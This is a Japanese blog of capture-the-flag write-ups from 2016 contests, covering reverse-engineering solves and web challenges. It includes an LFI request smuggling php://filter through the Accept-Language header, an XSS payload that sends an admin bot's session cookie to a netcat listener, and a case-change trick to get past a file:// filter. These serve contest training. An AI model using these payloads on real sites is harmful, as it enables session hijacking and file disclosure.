805eed80cbbccb94c36413b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{FasterAAAAAAAAAAAAAAAAA} 805eed80cbbccb94c3641327b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_AAAAAAAAAAAAAAAA} 805eed80cbbccb94c364132757b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_TAAAAAAAAAAAAAAA} 805eed80cbbccb94c36413275780b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_ThAAAAAAAAAAAAAA} 805eed80cbbccb94c36413275780ecb0b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_ThaAAAAAAAAAAAAA} 805eed80cbbccb94c36413275780ec94b0b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_ThanAAAAAAAAAAAA} 805eed80cbbccb94c36413275780ec94a8b0b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_Than_AAAAAAAAAAA} 805eed80cbbccb94c36413275780ec94a857b0b0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_Than_SAAAAAAAAAA} 805eed80cbbccb94c36413275780ec94a857dfb0b0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_Than_ShAAAAAAAAA} 805eed80cbbccb94c36413275780ec94a857dfecb0b0b0b0b0b0b0b0b0f9 TWCTF{Faster_Than_ShiAAAAAAAA} 805eed80cbbccb94c36413275780ec94a857dfec8db0b0b0b0b0b0b0b0f9 TWCTF{Faster_Than_ShinAAAAAAA} 805eed80cbbccb94c36413275780ec94a857dfec8da8b0b0b0b0b0b0b0f9 TWCTF{Faster_Than_ShinkAAAAAA} 805eed80cbbccb94c36413275780ec94a857dfec8da8cab0b0b0b0b0b0f9 TWCTF{Faster_Than_ShinkaAAAAA} 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94b0b0b0b0b0f9 TWCTF{Faster_Than_ShinkanAAAA} 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8b0b0b0b0f9 TWCTF{Faster_Than_ShinkansAAA} 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c3b0b0b0f9 TWCTF{Faster_Than_ShinkanseAA} 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313b0b0f9 TWCTF{Faster_Than_ShinkansenA} 805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8b0f9 [+] flag found! TWCTF{Faster_Than_Shinkansen!} """
flag: TWCTF{Faster_Than_Shinkansen!}
Global Page (Web50)
日英対応のWebページが表示される問題です。pageというgetパラメータがあって、それを根拠にページを切り替えているようなので、 Mortal Magi Agentsのようなタイプかなと思いました。
なのであとは php://filter/ ほげほげでどうLFIするのかという思考に切り替わるのですが、
pageに入った値はピリオドとスラッシュが除去されるのでもうひと工夫必要です。
(この問題はもりたこちゃんとやってて、同じ認識でした)
で、僕は curl でページをフェッチしたときに、ブラウザでは確認できた en-US.php というような文字列が .php という風になってたので、
これはHTTP Request Headerにあるフィールド値を細工すれば良いのだなと勘付きました。
今回の問題は Accept-Language
が該当したのでそれをいじります。
が、 index.php のソースを見たいなと思っていろいろトライしてみたんですけど、なぜかうまく行かなかったです><
% curl "http://globalpage.chal.ctf.westerns.tokyo/index.php?page=php:" -H "Accept-Language: /filter/read=string.toupper/resource=index" -v * Trying 40.74.130.170... * Connected to globalpage.chal.ctf.westerns.tokyo (40.74.130.170) port 80 (#0) > GET /index.php?page=php: HTTP/1.1 > Host: globalpage.chal.ctf.westerns.tokyo > User-Agent: curl/7.50.1 > Accept: */* > Accept-Language: /filter/read=string.toupper/resource=index > < HTTP/1.1 200 OK < Date: Sat, 03 Sep 2016 04:27:11 GMT < Server: Apache/2.4.7 (Ubuntu) < X-Powered-By: PHP/5.5.9-1ubuntu4.19 < Vary: Accept-Encoding < Content-Length: 163 < Content-Type: text/html < <!doctype html> <html> <head> <meta charset=utf-8> <title>Global Page</title> <style> .rtl { direction: rtl; } </style> </head> <body> <p> </p> </body> </html> * Connection #0 to host globalpage.chal.ctf.westerns.tokyo left intact
ここから先は、チームメイトのもりたこちゃんに任せちゃいました。(画像はもりたこちゃん提供)
flag: TWCTF{I_found_simple_LFI}
Reverse Box (Rev50)
Retargetable Decompiler に突っ込んで、コードを見たら次の main()
と init(table)
のようなコードを発見しました。
方針としては、(a) ある文字を別の文字にマッピングするテーブル(=Sボックス)の生成方法を調べるか、(b) 乱数要素を排除して、
256通りあるSボックスを全通りチェックする、の2通りがあります。
# 256通りの根拠は 0x80485ac の and eax, 0xff
です。
// Address range: 0x804858d - 0x8048688 int32_t function_804858d(char * a1) { // 0x804858d srand(time(NULL)); uint32_t v1 = rand(); // 0x80485a7 // branch -> 0x80485a7 while (v1 % 256 == 0) { // 0x80485a7 v1 = rand(); // continue -> 0x80485a7 } // 0x80485ba *a1 = (char)v1; char * v2 = a1; int32_t v3 = 1; // bp+030 char v4 = 1; int32_t v5 = v4; uint32_t v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0); // 0x80485ee char v7 = v6; uint32_t v8 = (2 * v3 ^ v3) % 256; // bp+131 int32_t v9 = 4 * v8 ^ v8; // 0x8048611 uint32_t v10 = (16 * v9 ^ v9) % 256; // bp+133 int32_t v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000; // 0x8048640_1 unsigned char v12 = *v2; // 0x8048651 uint32_t v13 = v11 % 256; char result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16); *(char *)(v6 % 256 + (int32_t)v2) = result; // branch -> 0x80485cc while (v7 != 1) { // 0x80485cc // 0x80485cc v2 = a1; v3 = v11; v4 = v7; v5 = v4; v6 = 2 * v5 ^ v5 ^ (v4 == 0 ? 27 : 0); v7 = v6; v8 = (2 * v3 ^ v3) % 256; v9 = 4 * v8 ^ v8; v10 = (16 * v9 ^ v9) % 256; v11 = 0x1000000 * ((v10 == 0 ? 9 : 0) ^ v10) / 0x1000000; v12 = *v2; v13 = v11 % 256; result = v13 ^ (int32_t)v12 ^ (2 * v13 & 254 | v13 / 128) ^ (4 * v13 & 252 | v13 / 64) ^ (8 * v13 & 248 | v13 / 32) ^ (16 * v13 & 240 | v13 / 16); *(char *)(v6 % 256 + (int32_t)v2) = result; // branch -> 0x80485cc } // 0x8048687 return result; } // Address range: 0x8048689 - 0x804875f int32_t function_8048689(int32_t a1, int32_t * a2) { int32_t v1 = *(int32_t *)20; // 0x804869e if (a1 <= 1) { // 0x80486b2 printf("usage: %s flag\n", (char *)*a2); exit(1); // UNREACHABLE } // 0x80486d4 int32_t v2; function_804858d((char *)&v2); int32_t * str = (int32_t *)((int32_t)a2 + 4); // 0x8048727_0 if (strlen((char *)*str) == 0) { // 0x8048735 putchar(10); if (*(int32_t *)20 != v1) { // 0x8048756 __stack_chk_fail(); // branch -> 0x804875b } // 0x804875b return 0; } for (int32_t i = 0; i < strlen((char *)*str); i++) { char v3 = *(char *)(*str + i); // 0x80486f9 printf("%02x", (int32_t)*(char *)(28 + (int32_t)v3)); // continue -> 0x80486ea } // 0x8048735 putchar(10); if (*(int32_t *)20 != v1) { // 0x8048756 __stack_chk_fail(); // branch -> 0x804875b } // 0x804875b return 0; }
0x8048593: c7 04 24 00 00 00 00 mov dword [ esp ], 0x0 0x804859a: e8 61 fe ff ff call 0x8048400 <time> 0x804859f: 89 04 24 mov dword [ esp ], eax 0x80485a2: e8 99 fe ff ff call 0x8048440 <srand> 0x80485a7: e8 d4 fe ff ff call 0x8048480 <rand> 0x80485ac: 25 ff 00 00 00 and eax, 0xff 0x80485b1: 89 45 f4 mov dword [ ebp + 0xfffffff4 ], eax
競技中は変な意地を張ってしまい (a) でやろうとしてしまいました。結果はバイナリと同じSボックスを生成できずに撃沈しました。
今日は (b) でやってみました。
乱数要素の排除は、
0x8048593〜0x80485a7を一旦 nop
で潰しつつ、
mov eax, X
を入れて、Sボックスの種となるeaxを思い通りの値にできるようにすることを意味します。
これをするために patchkit というpythonツールを利用しました。
(インストールでちょっとトラップがあったので、気が向いたら記事にしようかな)
パッチは次のもの(patch.py)を使いました。同じパッチでパラメータをもたせる手段が見つからなかったので、環境変数でなんとかしちゃいました。
import os """ 0x8048593: c7 04 24 00 00 00 00 mov dword [ esp ], 0x0 0x804859a: e8 61 fe ff ff call 0x8048400 <time> 0x804859f: 89 04 24 mov dword [ esp ], eax 0x80485a2: e8 99 fe ff ff call 0x8048440 <srand> 0x80485a7: e8 d4 fe ff ff call 0x8048480 <rand> 0x80485ac: 25 ff 00 00 00 and eax, 0xff 0x80485b1: 89 45 f4 mov dword [ ebp + 0xfffffff4 ], eax 0x80485b4: 83 7d f4 00 cmp dword [ ebp + 0xfffffff4 ], 0x0 0x80485b8: 74 ed jz 0x80485a7 <function_804858d+0x1a> """ def simple_patch(pt): # pt.patch(0x8048593, hex='90' * 25) # NOT Works pt.patch(0x8048593, asm='nop;' * 25) pt.patch(0x8048593, asm='mov eax, ' + os.environ['EAX'])
あとは、第一段階でeaxの値を255から0までの総当りで探索して適切なeaxを求め、 第二段階でflagを総当りで探索〜っ、てコードを書き、動かして終了です。
import string import subprocess target = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a" eax = -1 for i in range(255, 0, -1): if i % 20 == 0: print "[+] current: " + str(i) p = subprocess.Popen(["/home/katc/bin/patchkit/patch", "reverse_box", "patch.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False, env={"EAX": str(i)}) out, err = p.communicate() p = subprocess.Popen("./reverse_box.patched " + "TWCTF{" + "A" * (len(target) - 7) + "}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() # print out[:12] if out[:12] == "95eeaf95ef94": print "[+] EAX = " + str(i) eax = i break else: p = subprocess.Popen(["rm", "reverse_box.patched"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False) out, err = p.communicate() flag = "TWCTF{" while True: for _c in string.ascii_letters + string.digits + "_!-": test = flag + _c test += 'A' * (len(target) / 2 - 1 - len(test)) test += "}" # if _c == "a": # print test p = subprocess.Popen(["./reverse_box.patched", test], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False) out, err = p.communicate() if out[:len(target)] == target: flag += _c print "[+] flag found! " + flag + "}" exit() offset = len(flag) * 2 if out[offset:offset+2] == target[offset:offset+2]: flag += _c print flag break """ $ ./reverse_box ${FLAG} 95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a """ """ % python2 solve.py [+] current: 240 [+] current: 220 [+] EAX = 214 TWCTF{5 TWCTF{5U TWCTF{5UB TWCTF{5UBS TWCTF{5UBS7 TWCTF{5UBS71 TWCTF{5UBS717 TWCTF{5UBS717U TWCTF{5UBS717U7 TWCTF{5UBS717U71 TWCTF{5UBS717U710 TWCTF{5UBS717U710N TWCTF{5UBS717U710N_ TWCTF{5UBS717U710N_C TWCTF{5UBS717U710N_C1 TWCTF{5UBS717U710N_C1P TWCTF{5UBS717U710N_C1PH TWCTF{5UBS717U710N_C1PH3 TWCTF{5UBS717U710N_C1PH3R TWCTF{5UBS717U710N_C1PH3R_ TWCTF{5UBS717U710N_C1PH3R_W TWCTF{5UBS717U710N_C1PH3R_W1 TWCTF{5UBS717U710N_C1PH3R_W17 TWCTF{5UBS717U710N_C1PH3R_W17H TWCTF{5UBS717U710N_C1PH3R_W17H_ TWCTF{5UBS717U710N_C1PH3R_W17H_R TWCTF{5UBS717U710N_C1PH3R_W17H_R4 TWCTF{5UBS717U710N_C1PH3R_W17H_R4N TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0 TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M1 TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M12 TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123 TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_ TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5 TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5- TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0 [+] flag found! TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X} """
flag: TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}
いやぁ、昨年のMMA CTFが面白かったので今年も期待していたのですが、解いていてワクワクする問題が多くてよかったです。
海外を意識したのか、メンバーのせいなのかは知りませんが、昨年より問題の難易度が高く、解けた数は昨年よりも減りました。 しかしながら、自分の1年間の成長を感じることができる問題セットになっていると感じました(すげぇ個人的な感想で参考にならないやつだw)
TWCTFの運営進捗です
— 【しふくろ】友利奈緒㌠ (@shift_crops) September 2, 2016
お納めください pic.twitter.com/uAM1DmCPeU
TWCTF運営のみんながとても頑張っている様子です! pic.twitter.com/8kurttNYPU
— 【しふくろ】友利奈緒㌠ (@shift_crops) September 3, 2016
運営マジお疲れ様でした〜。来年も期待させてくださいっ!
セキュキャンCTF equations, hidden のWriteup
昨日に引き続き、セキュリティキャンプ全国大会2016で開催されたCTFの話題です。 当日手を付けて、解けなかった問題2つ equations と hidden をピックアップしてWriteupを書きます。
equations
i386のバイナリのようなので逆コンパイラ(貧乏人用)に突っ込みます。
こんな結果を得られました。
# 自分が当日になぜこの作業をしなかったのか謎い…
// Address range: 0x804847d - 0x8048547 int main(int argc, char ** argv) { int32_t v1 = (int32_t)argv; // 0x80484ab_0 if (argc <= 3) { // 0x804848c printf("Usage %s <a> <b> <c>\n", (char *)*(int32_t *)argv); // branch -> 0x8048546 // 0x8048546 return -1; } int32_t str_as_i = atoi((char *)*(int32_t *)(v1 + 4)); // 0x80484b6 int32_t str_as_i2 = atoi((char *)*(int32_t *)(v1 + 8)); // 0x80484ca int32_t str_as_i3 = atoi((char *)*(int32_t *)(v1 + 12)); // 0x80484de if (check(str_as_i, str_as_i2, str_as_i3) == 0) { // 0x8048535 puts("Wrong key..."); // branch -> 0x8048546 } else { // 0x8048507 printf("Congratz! flag is FLAG{%d}\n", calc_flag(str_as_i, str_as_i2, str_as_i3)); // branch -> 0x8048546 } // 0x8048546 return 0; } // Address range: 0x8048548 - 0x80485c4 int32_t check(int32_t a1, int32_t a2, int32_t a3) { int32_t result = 0; // 0x80485c4_2 if (5 * a2 + 3 * a1 == -4 * a3) { // 0x8048575 if (2 * (2 * a2 + a1) == -5 * a3) { // 0x804859a result = -8 * a3 == a2 - a1; // branch -> 0x80485c3 } else { result = 0; } } // 0x80485c3 return result; }
コードを見ると3元1次方程式の存在を確認できます。
考えるのも無駄なので Mathematica(貧乏人用) に突っ込んで終わりです。
# 3つ目の式は無くても解が変わらないというね…
Solve[{3x + 5y + 4z = 0, 2x + 4y + 5z = 0, x - y - 8z = 0}, {x,y,z}]
で、解が不定になってしまいましたが、xを特定の値に縛ることをバイナリがしてないのでフラグが1つに定まりません。 ここで終わりにします。
@K_atc この問題の連立方程式から求まった解を,一つに定めるためのルーチンを書いていたのですが,本番バイナリにそれが含まれていないことに後ほど気が付きました
— 【しふくろ】友利奈緒㌠ (@shift_crops) 2016年8月28日
ごめんなさい🙇
想定解は9 -7 2を与えた時のものです
hidden
バイナリが64ビットで、貧乏人用デコンパイラが使えないので、objdumpとテキストエディタで頑張りました。 といっても長くないので検討をつけやすいです。
見るべき箇所は main
での genflag
の呼び出しと、 genflag
の中身です。
何をしているのかは下のpythonスクリプトを見て感じ取ってください。
0000000000400ee0 <main>: 400ee0: 55 push rbp 400ee1: 48 89 e5 mov rbp,rsp 400ee4: 48 81 ec 20 02 00 00 sub rsp,0x220 400eeb: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 400ef2: 00 00 400ef4: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400ef8: 31 c0 xor eax,eax 400efa: 48 c7 85 e0 fd ff ff mov QWORD PTR [rbp-0x220],0x401111 # "flag : %s" 400f01: 11 11 40 00 400f05: 48 c7 85 e8 fd ff ff mov QWORD PTR [rbp-0x218],0x40111c # "You cannot get flag! Hahaha\n" 400f0c: 1c 11 40 00 400f10: bf 39 11 40 00 mov edi,0x401139 # "== HiddenFlag ==\n" 400f15: e8 46 fa ff ff call 400960 <puts@plt> # puts("== HiddenFlag ==\n") 400f1a: 48 8d 85 f0 fd ff ff lea rax,[rbp-0x210] 400f21: be 00 02 00 00 mov esi,0x200 # 0x200 400f26: 48 89 c7 mov rdi,rax # [rbp-0x8] 400f29: b8 00 00 00 00 mov eax,0x0 # retval 400f2e: e8 34 00 00 00 call 400f67 <genflag> # genflag([rbp-0x8], 0x200) 400f33: 48 8b 85 e0 fd ff ff mov rax,QWORD PTR [rbp-0x220] # "flag : %s" 400f3a: 48 8d 95 f0 fd ff ff lea rdx,[rbp-0x210] # = flag 400f41: 48 89 d6 mov rsi,rdx # [rbp-0x210] 400f44: 48 89 c7 mov rdi,rax # arg0 400f47: b8 00 00 00 00 mov eax,0x0 # retval 400f4c: e8 df f9 ff ff call 400930 <printf@plt> # printf("flag : %s", [rbp-0x210]) # => printf("You cannot get flag! Hahaha\n") 400f51: 48 8b 4d f8 mov rcx,QWORD PTR [rbp-0x8] 400f55: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28 # check stack canary 400f5c: 00 00 400f5e: 74 05 je 400f65 <main+0x85> #--------------------------------------------------------------------- 400f60: e8 6b fa ff ff call 4009d0 <__stack_chk_fail@plt> 400f65: c9 leave 400f66: c3 ret
from ctypes import CDLL libc = CDLL('libc.so.6') arr = [ 0x21, 0x8a, 0x28, 0x34, 0x2a, 0xca, 0x7b, 0x81, 0x59, 0xa1, 0x89, 0xf4, 0x91, 0xca, 0x93, 0x2e, 0x4f, 0xb0, 0xb, 0xf8, 0x0, 0x0, 0x0, 0x0 ] arr2 = [ 0x10, 0xf7, 0x5e, 0x1b, 0xe, 0xca, 0x7d, 0x9e, 0x1d, 0xa3, 0xdd, 0x98, 0xad, 0x96, 0xd0, 0x25, 0x14, 0xf6, 0x3a, 0xc9, 0x2e, 0x85, 0x9a, 0x8d ] libc.srand(0) for i in range(0x18): arr[i] ^= (0xff & libc.rand()) libc.srand(0) for i in range(0x18): arr2[i] ^= (0xff & libc.rand()) flag = ''.join(map(lambda x: chr(x), arr)) flag += ''.join(map(lambda x: chr(x), arr2)) print(flag) """ [katc@K_atc seccamp-2016]$ python hidden.py FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m} """ """ 0000000000400f67 <genflag>: 400f67: 55 push rbp 400f68: 48 89 e5 mov rbp,rsp 400f6b: 41 54 push r12 400f6d: 53 push rbx 400f6e: 48 83 ec 40 sub rsp,0x40 400f72: 48 89 7d b8 mov QWORD PTR [rbp-0x48],rdi # [rbp-0x48] := [rbp-0x8] 400f76: 89 75 b4 mov DWORD PTR [rbp-0x4c],esi # [rbp-0x4c] := 0x200 400f79: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 400f80: 00 00 400f82: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax 400f86: 31 c0 xor eax,eax 400f88: c6 45 d0 21 mov BYTE PTR [rbp-0x30],0x21 # arr[0] 400f8c: c6 45 d1 8a mov BYTE PTR [rbp-0x2f],0x8a # arr[1] 400f90: c6 45 d2 28 mov BYTE PTR [rbp-0x2e],0x28 # ... 400f94: c6 45 d3 34 mov BYTE PTR [rbp-0x2d],0x34 400f98: c6 45 d4 2a mov BYTE PTR [rbp-0x2c],0x2a 400f9c: c6 45 d5 ca mov BYTE PTR [rbp-0x2b],0xca 400fa0: c6 45 d6 7b mov BYTE PTR [rbp-0x2a],0x7b 400fa4: c6 45 d7 81 mov BYTE PTR [rbp-0x29],0x81 400fa8: c6 45 d8 59 mov BYTE PTR [rbp-0x28],0x59 400fac: c6 45 d9 a1 mov BYTE PTR [rbp-0x27],0xa1 400fb0: c6 45 da 89 mov BYTE PTR [rbp-0x26],0x89 400fb4: c6 45 db f4 mov BYTE PTR [rbp-0x25],0xf4 400fb8: c6 45 dc 91 mov BYTE PTR [rbp-0x24],0x91 400fbc: c6 45 dd ca mov BYTE PTR [rbp-0x23],0xca 400fc0: c6 45 de 93 mov BYTE PTR [rbp-0x22],0x93 400fc4: c6 45 df 2e mov BYTE PTR [rbp-0x21],0x2e 400fc8: c6 45 e0 4f mov BYTE PTR [rbp-0x20],0x4f 400fcc: c6 45 e1 b0 mov BYTE PTR [rbp-0x1f],0xb0 400fd0: c6 45 e2 0b mov BYTE PTR [rbp-0x1e],0xb 400fd4: c6 45 e3 f8 mov BYTE PTR [rbp-0x1d],0xf8 400fd8: c6 45 e4 00 mov BYTE PTR [rbp-0x1c],0x0 400fdc: c6 45 e5 00 mov BYTE PTR [rbp-0x1b],0x0 400fe0: c6 45 e6 00 mov BYTE PTR [rbp-0x1a],0x0 400fe4: c6 45 e7 00 mov BYTE PTR [rbp-0x19],0x0 # arr[0x17] 400fe8: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c] 400feb: 83 f8 18 cmp eax,0x18 400fee: 76 07 jbe 400ff7 <genflag+0x90> #--------------------------------------------------------------------- 400ff0: c7 45 b4 18 00 00 00 mov DWORD PTR [rbp-0x4c],0x18 # [rbp-0x4c] := 0x18 #--------------------------------------------------------------------- 400ff7: bf 00 00 00 00 mov edi,0x0 # 0 400ffc: e8 ef f9 ff ff call 4009f0 <srand@plt> # srand(0) 401001: c7 45 cc 00 00 00 00 mov DWORD PTR [rbp-0x34],0x0 # [rbp-0x34] = 0 # i := [rbp-0x34] 401008: eb 27 jmp 401031 <genflag+0xca> #===================================================================== 40100a: 8b 45 cc mov eax,DWORD PTR [rbp-0x34] # arr[i] = [rbp-0x34] 40100d: 48 63 d0 movsxd rdx,eax 401010: 48 8b 45 b8 mov rax,QWORD PTR [rbp-0x48] 401014: 48 8d 1c 02 lea rbx,[rdx+rax*1] # rbx := [i + [rbp-0x48]] 401018: 8b 45 cc mov eax,DWORD PTR [rbp-0x34] 40101b: 48 98 cdqe 40101d: 44 0f b6 64 05 d0 movzx r12d,BYTE PTR [rbp-0x30+rax*1] # r12d := arr[i] 401023: e8 f8 f9 ff ff call 400a20 <rand@plt> # rand() 401028: 44 31 e0 xor eax,r12d # arr[i] ^= char(rand()) 40102b: 88 03 mov BYTE PTR [rbx],al 40102d: 83 45 cc 01 add DWORD PTR [rbp-0x34],0x1 # [rbp-0x34] += 1 (i++) #--------------------------------------------------------------------- 401031: 8b 45 cc mov eax,DWORD PTR [rbp-0x34] 401034: 3b 45 b4 cmp eax,DWORD PTR [rbp-0x4c] 401037: 7c d1 jl 40100a <genflag+0xa3> # [rbp-0x34] < 0x18 #--------------------------------------------------------------------- """ """ [katc@K_atc seccamp-2016]$ gdb -q hidden gdb-peda$ b printf gdb-peda$ r gdb-peda$ disas genflag Dump of assembler code for function genflag: 0x0000000000400f67 <+0>: push rbp 0x0000000000400f68 <+1>: mov rbp,rsp 0x0000000000400f6b <+4>: push r12 0x0000000000400f6d <+6>: push rbx 0x0000000000400f6e <+7>: sub rsp,0x40 0x0000000000400f72 <+11>: mov QWORD PTR [rbp-0x48],rdi # [rbp-0x48] := [rbp-0x8] 0x0000000000400f76 <+15>: mov DWORD PTR [rbp-0x4c],esi 0x0000000000400f79 <+18>: mov rax,QWORD PTR fs:0x28 0x0000000000400f82 <+27>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400f86 <+31>: xor eax,eax 0x0000000000400f88 <+33>: mov BYTE PTR [rbp-0x30],0x10 0x0000000000400f8c <+37>: mov BYTE PTR [rbp-0x2f],0xf7 0x0000000000400f90 <+41>: mov BYTE PTR [rbp-0x2e],0x5e 0x0000000000400f94 <+45>: mov BYTE PTR [rbp-0x2d],0x1b 0x0000000000400f98 <+49>: mov BYTE PTR [rbp-0x2c],0xe 0x0000000000400f9c <+53>: mov BYTE PTR [rbp-0x2b],0xca 0x0000000000400fa0 <+57>: mov BYTE PTR [rbp-0x2a],0x7d 0x0000000000400fa4 <+61>: mov BYTE PTR [rbp-0x29],0x9e 0x0000000000400fa8 <+65>: mov BYTE PTR [rbp-0x28],0x1d 0x0000000000400fac <+69>: mov BYTE PTR [rbp-0x27],0xa3 0x0000000000400fb0 <+73>: mov BYTE PTR [rbp-0x26],0xdd 0x0000000000400fb4 <+77>: mov BYTE PTR [rbp-0x25],0x98 0x0000000000400fb8 <+81>: mov BYTE PTR [rbp-0x24],0xad 0x0000000000400fbc <+85>: mov BYTE PTR [rbp-0x23],0x96 0x0000000000400fc0 <+89>: mov BYTE PTR [rbp-0x22],0xd0 0x0000000000400fc4 <+93>: mov BYTE PTR [rbp-0x21],0x25 0x0000000000400fc8 <+97>: mov BYTE PTR [rbp-0x20],0x14 0x0000000000400fcc <+101>: mov BYTE PTR [rbp-0x1f],0xf6 0x0000000000400fd0 <+105>: mov BYTE PTR [rbp-0x1e],0x3a 0x0000000000400fd4 <+109>: mov BYTE PTR [rbp-0x1d],0xc9 0x0000000000400fd8 <+113>: mov BYTE PTR [rbp-0x1c],0x2e 0x0000000000400fdc <+117>: mov BYTE PTR [rbp-0x1b],0x85 0x0000000000400fe0 <+121>: mov BYTE PTR [rbp-0x1a],0x9a 0x0000000000400fe4 <+125>: mov BYTE PTR [rbp-0x19],0x8d 0x0000000000400fe8 <+129>: mov eax,DWORD PTR [rbp-0x4c] 0x0000000000400feb <+132>: cmp eax,0x18 0x0000000000400fee <+135>: jbe 0x400ff7 <genflag+144> #--------------------------------------------------------------------- 0x0000000000400ff0 <+137>: mov DWORD PTR [rbp-0x4c],0x18 0x0000000000400ff7 <+144>: mov edi,0x0 # 0 0x0000000000400ffc <+149>: call 0x4009f0 <srand@plt> # srand(0) 0x0000000000401001 <+154>: mov DWORD PTR [rbp-0x34],0x0 # i = 0 0x0000000000401008 <+161>: jmp 0x401031 <genflag+202> #===================================================================== 0x000000000040100a <+163>: mov eax,DWORD PTR [rbp-0x34] 0x000000000040100d <+166>: movsxd rdx,eax 0x0000000000401010 <+169>: mov rax,QWORD PTR [rbp-0x48] # rax := ? 0x0000000000401014 <+173>: lea rbx,[rdx+rax*1] 0x0000000000401018 <+177>: mov eax,DWORD PTR [rbp-0x34] 0x000000000040101b <+180>: cdqe 0x000000000040101d <+182>: movzx r12d,BYTE PTR [rbp+rax*1-0x30] 0x0000000000401023 <+188>: call 0x400a20 <rand@plt> 0x0000000000401028 <+193>: xor eax,r12d 0x000000000040102b <+196>: mov BYTE PTR [rbx],al 0x000000000040102d <+198>: add DWORD PTR [rbp-0x34],0x1 # i++ #--------------------------------------------------------------------- 0x0000000000401031 <+202>: mov eax,DWORD PTR [rbp-0x34] 0x0000000000401034 <+205>: cmp eax,DWORD PTR [rbp-0x4c] 0x0000000000401037 <+208>: jl 0x40100a <genflag+163> #--------------------------------------------------------------------- """
ブレークポイントが打てないし、printfの出力がobjdumpと食い違っていたのですが、何らかの仕組みが働いてコードが書き換わるようです。 フラグが前後半に分かれて出現します。前半は実行前のコード、後半はprintf呼び出し時に見ることができます。 てなわけで、
flag: FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}
明日、また会社かよ…
(報告)Docker版の方はARMのrev問が動くようになりましたー
セキュキャンCTF Web問のWriteup
セキュリティキャンプ全国大会2016でチーム対抗のCTFが開催されましたね。
チューターチーム「友利奈緒とゆかいな仲間たち」の友利奈緒です。
当日はネットワークトラブルのせいで解く時間が全然なかったのですが、そのときに難易度が低いと噂のWebを1つも解けなかったので今日解き直しました。
以下Writeupです。
ipアドレスを192.168.39.39としてサーバーを動かしています。
FLAG_1
http://192.168.39.39/ につなぐとこんな画面が出てきます。 FLAG_1は非公開になっており、adminが見れるページのようですね。
仕方がないのでtest postを開きます。 コメントができますね。
この問題は50点ぐらいに見えるのでここにXSSがあって、adminのcookieを抜き取るのでしょう。 CTFではよくあるパターンですね。 いろいろ準備するのはだるいので、192.168.39.39にsshログインして、netcatで待ち構えてcookieを覗きましょう。
<script>location.href="http://192.168.39.39:8080/"</script>
pi@d55f1549b655:~ $ nc -l -p 8080 GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://192.168.39.39/comments/check.php?id=1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Cookie: PHPSESSID=a7vejaoqteu1o8l3gojgl10lo1 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,* Host: 192.168.39.39:8080
cookieを取れたのでブラウザでこの値を入れてからFLAG_1のページを見ます。やるだけですな。(なんであの場ではうまくいかなかったのか…)
flag: FLAG{c0NgRaTz_y0u'v3_H4cK3d_4dM1N_4Cc0UnT}
flag3.txt
ヒントには /var/www/flag3.txt
にフラグがあると言っているので、adminになりつつ投稿画面を見に行きます。
(Admin Panelの存在はindex.phpのコメントを見るか、robots.txtで示唆されているので見落とさないようにしましょう)
Import from URL でローカルファイルを読み込むんだろうなという検討は立ちます。
fileは弾かれるのでfiLeとかで大文字を入れればWAFみたいのを回避できます。
